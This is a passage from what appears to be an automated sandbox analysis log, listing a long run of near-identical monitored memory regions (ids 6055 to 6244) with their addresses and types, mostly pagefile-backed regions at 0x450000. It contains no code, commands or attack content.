"pagefile_0x0000000000450000" filename = "" Region: id = 6055 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6056 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6057 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6058 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6059 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6060 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6061 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6062 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6063 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6064 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6065 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6066 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6067 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6068 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6069 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6070 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6071 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6072 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6073 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6074 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6075 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6076 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6077 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6078 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6079 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6080 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6081 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6082 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6083 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6084 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6085 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6086 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6087 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6088 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6089 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6090 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6091 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6092 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6093 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6094 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6095 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6096 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6097 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6098 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6099 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6100 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6101 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6102 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6103 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6104 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6105 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6106 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6107 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6108 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6109 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6110 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6111 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6112 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6113 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6114 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6115 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6116 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6117 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6118 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6119 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6120 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6121 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6122 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6123 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6124 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6125 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6126 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6127 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6128 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6129 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6130 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6131 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6132 start_va = 0x2390000 end_va = 0x23adfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 6133 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6134 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6135 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6136 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6137 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6138 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6139 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6140 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6141 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6142 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6143 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6144 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6145 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6146 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6147 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6148 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6149 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6150 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6151 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6152 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6153 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6154 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6155 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6156 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6157 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6158 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6159 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6160 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6161 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6162 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6163 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6164 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6165 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6166 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6167 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6168 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6169 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6170 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6171 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6172 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6173 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6174 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6175 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6176 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6177 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6178 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6179 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6180 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6181 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6182 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6183 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6184 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6185 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6186 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6187 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6188 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6189 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6190 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6191 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6192 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6193 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6194 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6195 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6196 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6197 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6198 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6199 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6200 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6201 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6202 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6203 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6204 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6205 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6206 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6207 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6208 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6209 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6210 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6211 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6212 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6213 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6214 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6215 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6216 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6217 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6218 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6219 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6220 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6221 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6222 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6223 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6224 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6225 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6226 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6227 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6228 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6229 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6230 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6231 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6232 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6233 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6234 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6235 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6236 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6237 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6238 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6239 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 6240 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6241 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6242 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6243 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6244 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = 